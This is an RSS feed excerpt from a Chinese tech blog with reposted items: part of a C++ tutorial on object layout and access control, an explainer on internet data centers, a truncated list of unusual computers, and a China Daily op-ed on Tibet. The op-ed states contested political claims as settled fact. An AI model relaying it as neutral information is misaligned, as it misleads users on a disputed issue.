/></span><span style="color: #008080">&nbsp;7</span>&nbsp;<span style="color: #0000ff">private</span><span style="color: #000000">:<br /></span><span style="color: #008080">&nbsp;8</span>&nbsp;<span style="color: #000000">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">int</span><span style="color: #000000">&nbsp;m_c;<br /></span><span style="color: #008080">&nbsp;9</span>&nbsp;<span style="color: #000000">&#125;;<br /></span><span style="color: #008080">10</span>&nbsp;<span style="color: #000000"><br /></span><span style="color: #008080">11</span>&nbsp;<span style="color: #0000ff">class</span><span style="color: #000000">&nbsp;D:&nbsp;</span><span style="color: #0000ff">public</span><span style="color: #000000">&nbsp;C&#123;<br /></span><span style="color: #008080">12</span>&nbsp;<span style="color: #0000ff">public</span><span style="color: #000000">:<br /></span><span style="color: #008080">13</span>&nbsp;<span style="color: #000000">&nbsp;&nbsp;&nbsp;&nbsp;D(</span><span style="color: #0000ff">int</span><span style="color: #000000">&nbsp;val1,&nbsp;</span><span style="color: #0000ff">int</span><span style="color: #000000">&nbsp;val2)&nbsp;:&nbsp;C(val1),&nbsp;m_d(val2)&nbsp;&#123;&#125;<br /></span><span style="color: #008080">14</span>&nbsp;<span style="color: #000000">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">int</span><span style="color: #000000">&nbsp;m_d;<br /></span><span style="color: #008080">15</span>&nbsp;<span style="color: #000000">&#125;;<br /></span><span style="color: #008080">16</span>&nbsp;<span style="color: #000000"><br /></span><span style="color: #008080">17</span>&nbsp;<span style="color: #0000ff">int</span><span style="color: #000000">&nbsp;main()<br /></span><span style="color: #008080">18</span>&nbsp;<span style="color: #000000">&#123;<br /></span><span style="color: #008080">19</span>&nbsp;<span style="color: #000000"><br /></span><span style="color: #008080">20</span>&nbsp;<span style="color: #000000"><br /></span><span style="color: #008080">21</span>&nbsp;<span style="color: #000000">&nbsp;&nbsp;&nbsp;&nbsp;cout&nbsp;</span><span style="color: #000000">&lt;&lt;</span><span style="color: #000000">&nbsp;</span><span style="color: #0000ff">sizeof</span><span style="color: #000000">(C)&nbsp;</span><span style="color: #000000">&lt;&lt;</span><span style="color: #000000">&nbsp;</span><span style="color: #000000">&quot;</span><span style="color: #000000">&nbsp;</span><span style="color: #000000">&quot;</span><span style="color: #000000">&nbsp;</span><span style="color: #000000">&lt;&lt;</span><span style="color: #000000">&nbsp;</span><span style="color: #0000ff">sizeof</span><span style="color: #000000">(D)&nbsp;</span><span style="color: #000000">&lt;&lt;</span><span style="color: #000000">&nbsp;endl; </span><span style="color: #008000">//</span><span style="color: #008000">&nbsp;4&nbsp;&nbsp;8</span><span style="color: #008000"><br /></span><span style="color: #008080">22</span>&nbsp;<span style="color: #000000">&nbsp;&nbsp;&nbsp;&nbsp;D&nbsp;obj(</span><span style="color: #000000">2</span><span style="color: #000000">,&nbsp;</span><span style="color: #000000">25</span><span style="color: #000000">);<br /></span><span style="color: #008080">23</span>&nbsp;<span style="color: #000000">&nbsp;&nbsp;&nbsp;&nbsp;cout&nbsp;</span><span style="color: #000000">&lt;&lt;</span><span style="color: #000000">&nbsp;</span><span style="color: #000000">&amp;</span><span style="color: #000000">obj&nbsp;</span><span style="color: #000000">&lt;&lt;</span><span style="color: #000000">&nbsp;</span><span style="color: #000000">&quot;</span><span style="color: #000000">&nbsp;</span><span style="color: #000000">&quot;</span><span style="color: #000000">&nbsp;</span><span style="color: #000000">&lt;&lt;</span><span style="color: #000000">&nbsp;</span><span style="color: #000000">&amp;</span><span style="color: #000000">obj.m_d&nbsp;</span><span style="color: #000000">&lt;&lt;</span><span style="color: #000000">&nbsp;endl; </span><span style="color: #008000">//</span><span style="color: #008000">0x0012FF78&nbsp;&nbsp;&nbsp;0X0012FF7C<br /></span><span style="color: #008080">24</span>&nbsp;<span style="color: #008000">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #008000">//</span><span style="color: #008000">cout&nbsp;&lt;&lt;&nbsp;obj.m_c;&nbsp; </span><span style="color: #008000">//</span><span style="color: #008000">error,&nbsp;不能访问</span><span style="color: #008000"><br /></span><span style="color: #008080">25</span>&nbsp;<span style="color: #000000"><br /></span><span style="color: #008080">26</span>&nbsp;<span style="color: #000000">&nbsp;&nbsp;&nbsp;&nbsp;D&nbsp;</span><span style="color: #000000">*</span><span style="color: #000000">ptr&nbsp;</span><span style="color: #000000">=</span><span style="color: #000000">&nbsp;</span><span style="color: #000000">&amp;</span><span style="color: #000000">obj;<br /></span><span style="color: #008080">27</span>&nbsp;<span style="color: #000000">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">int</span><span style="color: #000000">&nbsp;</span><span style="color: #000000">*</span><span style="color: #000000">iptr&nbsp;</span><span style="color: #000000">=</span><span style="color: #000000">&nbsp;(</span><span style="color: #0000ff">int</span><span style="color: #000000">&nbsp;</span><span style="color: #000000">*</span><span style="color: #000000">)ptr;<br /></span><span style="color: #008080">28</span>&nbsp;<span style="color: #000000">&nbsp;&nbsp;&nbsp;&nbsp;cout&nbsp;</span><span style="color: #000000">&lt;&lt;</span><span style="color: #000000">&nbsp;</span><span style="color: #000000">*</span><span style="color: #000000">iptr&nbsp;</span><span style="color: #000000">&lt;&lt;</span><span style="color: #000000">&nbsp;</span><span style="color: #000000">&quot;</span><span style="color: #000000">&nbsp;</span><span style="color: #000000">&quot;</span><span style="color: #000000">&nbsp;</span><span style="color: #000000">&lt;&lt;</span><span style="color: #000000">&nbsp;</span><span style="color: #000000">*</span><span style="color: #000000">(iptr</span><span style="color: #000000">+</span><span style="color: #000000">1</span><span style="color: #000000">)&nbsp;</span><span style="color: #000000">&lt;&lt;</span><span style="color: #000000">&nbsp;endl;</span><span style="color: #008000">//</span><span style="color: #008000">2&nbsp;&nbsp;25</span><span style="color: #008000"><br /></span><span style="color: #008080">29</span>&nbsp;<span style="color: #000000">&nbsp;&nbsp;&nbsp;&nbsp;<br /></span><span style="color: #008080">30</span>&nbsp;<span style="color: #000000">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">return</span><span style="color: #000000">&nbsp;</span><span style="color: #000000">0</span><span style="color: #000000">;<br /></span><span style="color: #008080">31</span>&nbsp;<span style="color: #000000">&#125;<br /></span><span style="color: #008080">32</span>&nbsp;<span style="color: #000000"><br /></span><span style="color: #008080">33</span>&nbsp;</div>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <p><br />同样，加入虚函数，可以看到VC编译器将vptr放置在数据区的最开头</p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </td>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </tr>&nbsp;&nbsp;&nbsp;&nbsp; </tbody> </table> <br />下面摘自博客园的一篇，相当精辟的理解：<br /><br /> </p><hr /> <br /> <p>&nbsp;</p> <p>下面这个问题摘自<a href="http://community.csdn.net/Expert/topic/5132/5132192.xml?temp=.9453852"><span style="color: #000080">论坛的一个帖子</span></a>：</p> <p>已知3个类O、P和Q，类O中定义了一个私有方法F1、一个公有方法F2和一个受保护的方法F3：类P和类Q是类O的派生类，其继承方式如下所示： <br />class P : protected O &#123;&hellip;&#125;; <br />class Q : public O &#123;&hellip;&#125;;<br />关于方法F1的描述中正确的是___(34)___；关于方法F2韵描述中正确的是___(35)___；关于方法F3的描述中正确的是___(36)___。 <br />(34)<br />A．方法F1无法被访问 <br />B．只有在类O内才能访问方法F1 <br />C．只有在类P内才能访问方法F1 <br />D．只有在类Q内才能访问方法F1 <br />(35)<br />A．类O、P和Q的对象都可以访问方法F2 <br />B．类P和Q的对象都可以访问方法F2 <br />C．类0和Q的对象都可以访问方法F2<br />&nbsp;D．只有在类P内才能访问方法F2 <br />(36)A．类0、P和Q的对象都可以访问方法F3 <br />B．类0、P和Q的对象都不可以访问方法F3 <br />C．类0和Q的对象都可以访问方法F3 <br />D．类P和Q的对象都可以访问方法F3。</p> <p>有甚么办法可以简单地记住这许多的规则？&nbsp;下文告诉你一个根本不需要记的办法。</p> <p>顾名思义，private/public/protected 分别表示 私有/公开/保护，它们是一组用于<u>访问权限</u>控制的关键字。那么首先，需要澄清的一个关键点是，是<u>要控制谁访问谁的权限</u>？这个访问的主语（施事）是谁？宾语（受事）是谁？</p> <p>我们经常听到这样的说法：</p> <p>1）一个类<strong><u>友元</u></strong>可以访问该类的任何<u><strong>成员</strong></u>（包括成员变量及成员方法，下同）。<br />2）private<strong><u>成员</u></strong>只有该类自身可以访问，protected<strong><u>成员</u></strong>只有该类及其派生类可以访问，public<strong><u>成员</u></strong>所有的人都可以访问。</p> <p>宾语（受事）是谁这一点很明确，是类的<strong><u>成员</u></strong>（包括成员变量及成员方法）。<strong>主语（施事）是谁？这是让大家发生混淆的关键点。也是这个说法中含糊不清的地方。</strong></p> <p>想清楚一点，其实<strong>主语（施事）</strong>指的是一个<u><strong>函数</strong></u>，而不是<strong><u>类</u></strong>（当然更不是变量）。private/public/protected要控制的是<u>一个函数（施事）</u>对一个<u>类的成员（包括成员变量及成员方法）</u>的访问权限。因此比较完整的说法是：</p> <p>1）一个类<strong><u>友元（包含友元函数或者友元类的所有成员函数）</u></strong>可以访问该类的任何<u><strong>成员</strong></u>（包括成员变量及成员方法）。</p> <p>2）除去友元外，private<strong><u>成员</u></strong>只有<u>该类自身的成员函数</u>可以访问，protected<strong><u>成员</u></strong>只有该类的成员函数及其派生类的成员函数可以访问，public<u><strong>成员</strong></u>则所有的函数都可以访问。</p> <p>也就是说，当我们说一个类可以访问XXX，其实暗指<u>这个类的成员函数</u>可以访问XXX。了解了这一点，外加一条显而易见的规则，上面的问题就不难回答了。这条规则是：</p> <p>3）派生类在继承时可削弱成员的访问权限（通过protected/private修饰）。例如上面的例子class P : protected O &#123;&hellip;&#125;; 那么某个函数通过类P访问O中成员时，该函数对类O中的public成员只有protected权限。</p> <p>补充：有一种技术叫Member Spy（类成员间谍），通过该技术派生类可将基类的protected成员修改为public权限。这种技术用到了using关键字。举例如下：</p> <p>class A<br />&#123;<br />protected:<br />　int m_data;<br />&#125;;</p> <p>class&nbsp;SpyA : public A<br />&#123;<br />public:<br />　using A::m_data;<br />&#125;;<br /><br />void TestSpy(A* pA)<br />&#123;<br />　SpyA* pSpyA = static_cast&lt;SpyA*&gt;(pA); <br />　// 强制转换A为SpyA，这要求SpyA没有成员变量且没有重载A中的虚函数。<br />　// 现在你可以通过pSpyA访问m_data了。例如：int data = pSpyA-&gt;m_data;<br />&#125;</p> <p>由于这种技术用到了强制类型转换，当谨慎使用。 </p><br/>Tags - <a href="http://www.dreamaroundworld.com/tech/tag.php?tag=%25E7%25BC%2596%25E7%25A8%258B" rel="tag">编程</a> , <a href="http://www.dreamaroundworld.com/tech/tag.php?tag=c%252B%252B" rel="tag">c++</a>
]]>
</description>
</item><item>
<link>http://www.dreamaroundworld.com/tech/read.php?1763</link>
<title><![CDATA[转帖：什么是IDC（互联网络数据中心）]]></title> 
<author>wangyuneu &lt;wangyuneu@hotmail.com&gt;</author>
<category><![CDATA[Web开发]]></category>
<pubDate>Sun, 04 May 2008 16:38:01 +0000</pubDate> 
<guid>http://www.dreamaroundworld.com/tech/read.php?1763</guid> 
<description>
<![CDATA[ 
	随着因特网及其相关应用产业的发展，内容更丰富服务更深层次的网络服务提供商（Network Service Provider,NSP）横空出世，IDC互联网数据中心，Internet datacenter(简称IDC)作为NSP业务的一个重要的网络服务平台，它通过与某一骨干网高速连接，借助丰富的网络资源向网站企业和传统企业提供 大规模、高质量、安全可靠的专业化服务器托管、空间租用、网络批发带宽以及ASP,EC等业务。IDC是对入驻Hosting企业、商户或网站服务器群托 管的场所；是各种模式电子商务赖以安全运作的基础设施，也是支持企业及其商业联盟、分销商、供应商、客户等实施价值链管理的平台。<br />根据英特尔公司 的分析，IDC的发展经历了三个不同阶段。第一代的数据中心只提供场地、带宽等基础托管服务，称为&ldquo;清水服务&rdquo;。第二代的数据中心以增值服务和电子商务为 核心，叫做&ldquo;清水变鸡汤&rdquo;。处于这一阶段的数据中心托管的全部是数据设备。第三代数据中心将是数据与语音的融合，这时的数据中心能够提供融合的托管服务， 实时地将互联网信息、电话信息、传真信息等集成在一起，再以客户最容易接受的方式提供给客户。这时，数据中心就变成了网络的服务中心，话音与数据的融合也 就从网络传输层面上升到了服务层面。数据中心进入第三代以后，不仅能提供电子商务服务，还可以提供话音商务服务。 <br />　IDC的出现为互联网基础 设施提供了结构性变革的契机。他们通过对网络资源以及网站主机、服务器实施集中、专业化管理，向用户提供24*7的专业服务。这就决定了IDC能充分利用 市场紧缺的专业人才资源及网络资源，减少重复建设，降低企业、政府部门等用户上网的成本，并有利于企业用户从普通电子邮件、网页发布等一般互联网应用转向 电子商务等关键任务应用，帮助传统的电信运营商增强互联网时代的管理能力。IDC从而成为互联网基础设施的一个重要组成部分。从市场基础来看，目前中国 IDC的用户已从以.com公司为主过渡到传统企业与网站企业并重。<br />传统企业的信息化是国民经济信息化的基础与重点，中国的国民经济要实现持续、 快速、健康的发展，实现经济结构的调整和产业的增值，企业信息化是至关重要的一环。而IDC的出现为企业信息化提供了一条廉价高效的途径。信息产业部信息 化推进司司长宋玲指出：&ldquo;如果没有IDC等计算机及网络技术在各行各业的应用，国家信息化就无从谈起。因此我国政府支持IDC等技术，希望它们能实实在在 地在信息化应用上下功夫，切实为企业提供上乘的服务，真正为人们生活质量的提高做贡献。&rdquo;<br />IDC拥有广阔的市场前景，全球范围内的网络数据中心 （IDC）的业务量正以40%的增长速率发展。据Salomom SmithBurney研究显示，亚洲IDC市场2005年将达44.5亿美元，其中中国的IDC市场将达到7亿美元。众多的电信企业、ISP、甚至房地 产企业等等都想来分一杯羹。但对运营企业来说，IDC应更注重的是服务，包括做好基本服务(指带宽、空间、供电和空调等物理要素)、管理服务(指对客户托 管服务器的监测、报告和安全管理等)和应用服务(为客户提供更高层次的解决方案，如网站建设和电子商务等)，以特色服务谋求生存之道。其中要特别强调的是 增值服务包括为客户提供安全性分析、数据流分析、资源占用分析等。<br/>Tags - <a href="http://www.dreamaroundworld.com/tech/tag.php?tag=%25E6%2595%25B0%25E6%258D%25AE%25E4%25B8%25AD%25E5%25BF%2583" rel="tag">数据中心</a> , <a href="http://www.dreamaroundworld.com/tech/tag.php?tag=%25E7%25BD%2591%25E7%25BB%259C" rel="tag">网络</a>
]]>
</description>
</item><item>
<link>http://www.dreamaroundworld.com/tech/read.php?1762</link>
<title><![CDATA[转帖：加拿大作家撰文西藏印象是如何被扭曲的]]></title> 
<author>wangyuneu &lt;wangyuneu@hotmail.com&gt;</author>
<category><![CDATA[针砭时弊]]></category>
<pubDate>Thu, 24 Apr 2008 00:11:02 +0000</pubDate> 
<guid>http://www.dreamaroundworld.com/tech/read.php?1762</guid> 
<description>
<![CDATA[ 
	2008年04月23日21:44 <span class="linkRed02"><a style="text-decoration: none" href="http://www.chinadaily.com.cn/hqzx/index.html" target="_blank">中国日报网站</a>&nbsp;&nbsp;</span><!--正文内容开始--> &nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;<!-- google_ad_section_start --> &nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<p>　 　中国日报网环球在线消息：英文《中国日报》4月22日报道：对西藏感兴趣是一件好事，但是很多人在不了解西藏的真实情况时往往对西藏问题心存偏见，其中 也包括达赖喇嘛和那些流亡海外的&ldquo;藏独&rdquo;分子们。加拿大作家李莎&middot;卡尔杜齐为《中国日报》撰文，揭露外界对西藏的印象是如何被扭曲的。全文如下：</p> <p>　　如果大家都像我的朋友们一样对西藏充满兴趣，那当然是件好事。不幸的是，大多数人对西藏问题完全持有偏见。</p> <p>　　只有一少部分的人足够诚实，他们在亲自到访西藏并了解事实后才发表对西藏的看法，而其他人只选择听他们想听的和那些不破坏他们对西藏固有印象的言论。</p> <p>　　举个真实的例子：我的一位加拿大朋友是位大学教授，他于1997年5月去了西藏。在回来之后他告诉我说：他们一群人在警察的强迫下离开一家西藏 餐馆，随后又被带到一家由汉人开设的饭店。他认为这背后的原因是种族主义，是想&ldquo;破坏藏族人民&rdquo;的邪恶企图。在完全不懂当地语言和不知发生什么事情的情况 下，他草率的判断带有明显的偏见色彩。</p> <p>　　我当时不在现场，也没有看到发生了什么。但当我和熟悉当地情况的汉民、藏民讨论此事后，我们一致得出了结论，认为当时的情况应该源于以下几种可 能：这家藏式餐厅没有营业许可证；老板没有交税；这里的卫生标准达不到接待外宾的要求；餐厅老板和警察有私人矛盾或者餐厅老板走私古代唐卡(藏式涂绘中的 一种)。</p> <p>　　我们时常假设所有的藏民都是一样的，认为他们的想法、行为是一致的。其实我们大错特错了。我所遇到的那些生活在西藏和甘肃省夏河县的藏民们看上去对政治并不热衷，他们快乐、平静地生活着。在生活一年比一年好的情况下，他们对中央政府毫无怨言。</p> <p>　　然而，在尼泊尔朴卡拉近郊的市场里，我和当地的藏民妇女聊了两个小时，她们的说法却完全不同。最大的不同在于尼泊尔的藏民认为&ldquo;汉民侵略了西 藏，他们被迫逃亡。&rdquo;其中有一个女人的中文不错，是这个村子的翻译。她告诉我说：&ldquo;西藏解放后，我要马上回去，去找好的工作。你觉得这能叫生活吗？我们在 这儿干嘛呢？只能做些小本生意。&rdquo;</p> <p>　　我很同情她，因为她已经完全被反中国的宣传同化了。我告诉她说，在她之前我遇到的藏民们都非常清楚中国政府为他们做了些什么，而且对此心怀感 激。&ldquo;很抱歉地告诉你，&rdquo;我说，&ldquo;如果你认为你那些仍生活在中国的西藏同胞和你的想法一致，也支持西藏独立的话，你就是在愚弄自己。&rdquo;</p> <p>　　她睁大眼睛看着我，问道：&ldquo;你去过西藏吗？&rdquo;</p> <p>　　&ldquo;当然！如果我没去过，我怎会知道这些事情？&rdquo;我斩钉截铁地说。她顿了一会，说道：&ldquo;每年3月10日，世界各地的藏民都会为争取独立示威游行， 如果你在那天去西藏的话，你将会看到中国军队在大街上滥杀无辜。&rdquo;我所想的是，如果她说的是真的，我绝不可能留在西藏，早就被送到其他的星球去了。</p> <p>　　&ldquo;我见过他们杀人的照片和录像，每年都能看到。&rdquo;她说。</p> <p>　　&ldquo;谁照的这些照片？&rdquo;</p> <p>　　&ldquo;外国人呀，来自世界各地的外国人。&rdquo;</p> <p>　　我让自己的心情平静了一会儿，然后问道：&ldquo;你确定这些照片和录影都是近期拍摄的吗？它们可能录制在文化大革命时期。那时不光西藏人民，全中国都 处在动荡中。照片也可能拍摄于1959年的武装造反？也许你被他们蒙骗了？也许他们每年都给你看相同的照片？也许照片被修改过了？&rdquo;</p> <p>　　作为当地藏民的发言人，她转过身来对我说：&ldquo;你说的也有可能，但我们没有办法证实。&rdquo;</p> <p>　　&ldquo;这也可能是支持达赖的激进分子干的&rdquo;，我说，&ldquo;村子入口处的黑板上挂着由&lsquo;神圣达赖喇嘛办公室&rsquo;签发的印有&lsquo;中国人，滚出去&rsquo;的复印信件，你认为这些会是谁写的呢？&rdquo;</p> <p>　　我向他们讲述了西藏发生的巨变：中央政府注巨资帮助西藏重建和再发展；教育上取得了进步；宗教自由得到了保障；卫生与社会生活也有了质的飞跃。听完我的讲述后他们都很震惊，显然之前没有人告诉过他们这些。</p> <p>　　我问：&ldquo;你相信我说的吗？&rdquo;</p> <p>　　&ldquo;我相信你，因为你是个外国人，你不是共产党吧？&rdquo;她说。</p> <p>　　&ldquo;你可以相信我，我说的都是我的亲眼所见。西藏是个美丽平静的地方，人们在工作的时候都会唱歌，他们微笑着享受生活。&rdquo;</p> <p>　　村子中年轻一些的村民是在尼泊尔出生的，其他人都是50年代从西藏跑到尼泊尔的，他们从来没有回去过，也没有护照，自然就不能回到中国。</p> <p>　　之后我参观了一座寺庙，那里的一位17岁的僧人告诉我说，他最大的愿望就是能踏上西藏这片圣土。他认为在中国的僧人都被关押在监狱里，或者被杀害。而这种想法的根据是他的一位朋友去了中国，就再也没有回去过。</p> <p>　　&ldquo;年轻人，你的朋友可能被捕，但那是因为他非法入境。但是如果你再也没有听到关于他的消息，很可能是因为他已经完成了他的梦想，抵达西藏并生活在那儿的寺庙里。&rdquo;</p> <p>　　他低下头说道：&ldquo;真希望我也能有这样的机会呀！&rdquo;</p> <p>　　最后，我意识到身在国外的藏民是无知和错误宣传运动的受害者。一个想法突然涌上我的心头&mdash;&mdash;达赖喇嘛会不会也和他们一样？他在很年轻时就离开了 西藏，并且受了某些组织的影响。之后他再也没有亲眼见过西藏，对那里发生的事情也并不能做客观的判断。他就像村子市集上的那个女人一样，也是个可怜的受害 者。</p> <p>　　(作者：李莎&middot;卡尔杜齐(Lisa Carducci)，加拿大作家。 翻译：王薇) <br /></p><br/>Tags - <a href="http://www.dreamaroundworld.com/tech/tag.php?tag=%25E9%2592%2588%25E7%25A0%25AD%25E6%2597%25B6%25E5%25BC%258A" rel="tag">针砭时弊</a>
]]>
</description>
</item><item>
<link>http://www.dreamaroundworld.com/tech/read.php?1761</link>
<title><![CDATA[转帖：《新科学家》十大最不可思议计算机]]></title> 
<author>wangyuneu &lt;wangyuneu@hotmail.com&gt;</author>
<category><![CDATA[其他技术信息]]></category>
<pubDate>Thu, 17 Apr 2008 10:57:21 +0000</pubDate> 
<guid>http://www.dreamaroundworld.com/tech/read.php?1761</guid> 
<description>
<![CDATA[ 
	<p>据英国《新科学家》杂志报道,现今的计算机技术发展日新月异,但科学家们还是试图拓宽新型计算机的开发领域,近年来研制出光子计算机、量子计算机、DNA计算机等十大不可思议的奇特计算机.<br /> <br /> </p> <p>&nbsp;</p> <div style="text-align: center"><img src="http://img1.qq.com/tech/pics/9894/9894752.jpg" border="0" /> </div> <br /> <div style="text-align: center"><strong>光子计算机</strong></div> <p style="text-indent: 2em; text-align: left"><strong>1、光子计算机</strong> </p> <p style="text-indent: 2em; text-align: left">通过光编码数据并不奇怪，目前全球通讯系统是基于光纤技术。但是使用光信号实际处理数据资料，并进行计算处理却并没有实际应用。&nbsp;&nbsp;</p> <p style="text-indent: 2em; text-align: left">光子计算机是一个值得努力实现的目标，其原因是使用光 可增加计算机的处理速度以及可处理的数 据质量，但是获得、存储和处理光是非常困难的。像美国伊利诺斯州立大学的保罗?布劳恩等研究人员目前正积极进行该研究。他在光子晶体外建立了3D光学波 导，这可能会获得光，使光在锐角转角减缓速度并发生弯曲，而不必担心光的逃逸。 </p> <p style="text-indent: 2em; text-align: left">其间，美国哈佛大学的米克海尔?卢金研制了一种光学型晶体管，能够成为现今计算机的能量源。卢金和同事们已建立了使用单一光子从光信号中分离出来的通道，该通道可以转换另一种光信号开启或关闭。&nbsp;&nbsp;<br /> </p> <div style="text-align: center"><img src="http://img1.qq.com/tech/pics/9894/9894754.jpg" border="0" />&nbsp;&nbsp;<br /> <strong>量子计算机 </strong></div> <p style="text-indent: 2em"><strong>2、量子计算机</strong> </p> <p style="text-indent: 2em">如果你想破坏传统计算机计算处理规则，量子计算机将实现这一点。量子计算机不使用1或0的电子比特信息，而采用量子机械效应而建立量子比特。&nbsp;&nbsp;</p> <p style="text-indent: 2em">量子计算机是一类遵循量子力学规律进行高速数学和逻辑运算、存储及处理量子信息的物理装置。当某个装置处理和计算的是量子信息，运行的是量子算法时，它就是量子计算机。量子计算机的概念源于对可逆计算机的研究。研究可逆计算机的目的是为了解决计算机中的能耗问题。&nbsp;&nbsp;</p> <p style="text-indent: 2em">计算显示，量子计算机有能力执行许多平行计算。当量子计算机中量子比特数目增加时，数据将以指数级增长。这将实现现今计算机难以实现的计算处理，比如：快速因式分解较大质数裂化密钥。&nbsp;&nbsp;</p> <p style="text-indent: 2em">然而，量子计算机迄今仅有非常小数目的量子比特，其使用量子圆点、核磁共振、金属离子。 <br /> </p> <div style="text-align: center"><img src="http://img1.qq.com/tech/pics/9894/9894756.jpg" border="0" />&nbsp;&nbsp;<br /> <strong>DNA计算机 </strong>&nbsp; </div> <p style="text-indent: 2em"><strong>3、DNA计算机</strong> </p> <p style="text-indent: 2em">DNA将是一种用于执行计算的完美材料，在某种意义上，DNA处理数据和运行程度存储在排序普通碱基对DNA中，处于调整状态蛋白质处理信息就如同DNA有机体维持存活一样。&nbsp;&nbsp;</p> <p style="text-indent: 2em">第一个将DNA用于计算处理的是南加州大学伦纳德?阿德勒曼，1994年，他使用DNA解答了著名的&ldquo;7点哈密尔敦函数通道&rdquo;数字问题。从此之后，DNA能够用于建立逻辑门和挑战tic-tac-toe游戏。&nbsp;&nbsp;</p> <p style="text-indent: 2em">由于DNA分子具有强大的并行运算和超高的存储能力，DNA计算将可能解决一些电子计算机难 以完成的复杂问题，而且也可能在体内药物传输或遗传分析等领域发挥重要作用。虽然DNA计算未来潜力无穷，但是当前仍然有许多瓶颈技术和基础问题需要解 决，其中基于DNA分子的逻辑门就是实现DNA计算的一个重要基础。 </p> <p style="text-indent: 2em">近期，DNA计算机的狂热者对建立像人体内的生物学系统非常感兴趣，这样的研究非常有意义，其原因是它的装配性非常好，与传统计算机相比，能够将计算机缩小至最小化，而且便于运行计算处理。&nbsp;&nbsp;<br /> </p> <div style="text-align: center"><img src="http://img1.qq.com/tech/pics/9894/9894761.jpg" border="0" />&nbsp;&nbsp;<br /> <strong>可逆计算机 </strong>&nbsp; </div> <p style="text-indent: 2em"><strong>4、可逆计算机</strong> </p> <p style="text-indent: 2em">许多人思考我们应当循环利用比特，就如同再循环利用垃圾一样。计算机硬件公司长期以来试着减少计算机的能量消耗，一种不同寻常的方法是由&ldquo;可逆&rdquo;工程芯片实现的。&nbsp;&nbsp;</p> <p style="text-indent: 2em">正常地每个计算操作会失去一些比特信息，也可表现为丢弃能量。可逆计算机的目标是重新获得并使用这些能量。由美国佛罗里达州立大学迈克尔?弗兰克设计的可逆计算机通过逻辑门能够实现逆行运算。&nbsp;&nbsp;</p> <p style="text-indent: 2em">每一个计算操作包括向逻辑门中输入数据，然后逻辑门出产输出信号，从而代替丢弃能量的信号。弗兰克设计的可逆计算机在每一个计算运行之后逻辑门实现逆行运算，输出信号返回的能量开启执行新的输入信号。&nbsp;&nbsp;<br /> </p> <div style="text-align: center"><img src="http://img1.qq.com/tech/pics/9894/9894763.gif" border="0" />&nbsp;&nbsp;<br /> <strong>撞球计算机 </strong>&nbsp; </div> <p style="text-indent: 2em"><strong>5、撞球计算机</strong> </p> <p style="text-indent: 2em">数据计算处理可通过光在分子至分子间内部进行连锁反应实现，这对用于一些计算处理的连锁反应非常具有意义，甚至可用于多米诺或大理石弹球进行计算。&nbsp;&nbsp;</p> <p style="text-indent: 2em">这种计算机的逻辑门是由仔细安排的多米诺或斜道石弹球滚动实现的。该计算机虽然比较特殊，但 却相当于几英亩大小面积的无数强大微处理器所实现的功能，除非石弹球或多米诺骨牌非常小。IBM公司研究人员采用层叠原子像撞球彼此运行作为逻辑电路，像 这样的逻辑门仅能使用一次，但是其意义却意味深长，它比现今最小的晶体管都要小。 <br /> </p> <div style="text-align: center"><img src="http://img1.qq.com/tech/pics/9894/9894765.jpg" border="0" />&nbsp;&nbsp;<br /> <strong>神经细胞计算机 </strong>&nbsp; </div> <p style="text-indent: 2em"><strong>6、神经细胞计算机</strong> </p> <p style="text-indent: 2em">当一些研究人员借助已经成功的理念，为什么还称这是计算机技术开发的起跑线呢？目前，研究人员希望能够借助人体的自然力量建造特殊的计算机。&nbsp;&nbsp;</p> <p style="text-indent: 2em">美国芝加哥西北大学费迪南?穆萨?伊瓦尔迪展示了如何利用七鳃鳗的一些脑细胞控制一个机器人。七鳃鳗是一种像鳗鱼的原始脊椎动物。这些脑细胞可控制机器人跟随着光源移动。但这并不是第一次使用动物的大脑进行神经细胞计算机实验。&nbsp;&nbsp;</p> <p style="text-indent: 2em">神经细胞计算机被称为第六代电子计算机，它可以模仿人的大脑判断能力和适应能力，并具有可并 行处理多种数据功能的神经网络计算。与以逻辑处理为主的第五代计算机不同，它本身可以判断对象的性质与状态，并能采取相应的行动，而且它可同时并行处理实 时变化的大量数据，并引出结论。以往的信息处理系统只能处理条理清晰，经络分明的数据。而人的大脑却具有能处理支离破碎，含糊不清信息的灵活性，神经细胞 计算机将具有类似人脑的智慧和灵活性。 </p> <p style="text-indent: 2em">目前，美国国防部高级研究计划署通过在飞蛾大脑植入的电极，建立了远程控制的半机械飞蛾。</p> <p style="text-indent: 2em"><strong>7、磁共振计算机</strong> </p> <p style="text-indent: 2em">每杯水都包含着一台&ldquo;计算机&rdquo;，如果你正确理解磁共振运行原理。英国约克大学苏珊?斯特普尼和同事使用强磁场（核磁共振）对分子间的互相影响作用进行控制和观测。这种方法可呈现3D信息，也可使用分子形成互相影响的自然动力学。&nbsp;&nbsp;</p> <p style="text-indent: 2em">如果该理论被证实是可能实现，可使用水分子模拟我们复杂的大气层。迄今为止，研究人员仅能实现该运行计算的理论性，当前只处于基于水的磁共振计算机。&nbsp;&nbsp;</p> <p style="text-indent: 2em"><strong>8、Glooper计算机</strong> </p> <p style="text-indent: 2em">其中最怪异的就是Glooper计算机，该计算机的建造抛弃了传统计算机的硬件配置，而是通 过建立&ldquo;gloopware&rdquo;实现运行计算能力。英国西英格兰大学安德鲁?阿达马特兹基能够在化学粘性物质中建立传播离子干扰波，其行为就像形成逻辑门， 成为构造计算机的积木块。 </p> <p style="text-indent: 2em">这种传播离子干扰波可由一种叫做&ldquo;Belousov-Zhabotinsky&rdquo;的脉冲通过循 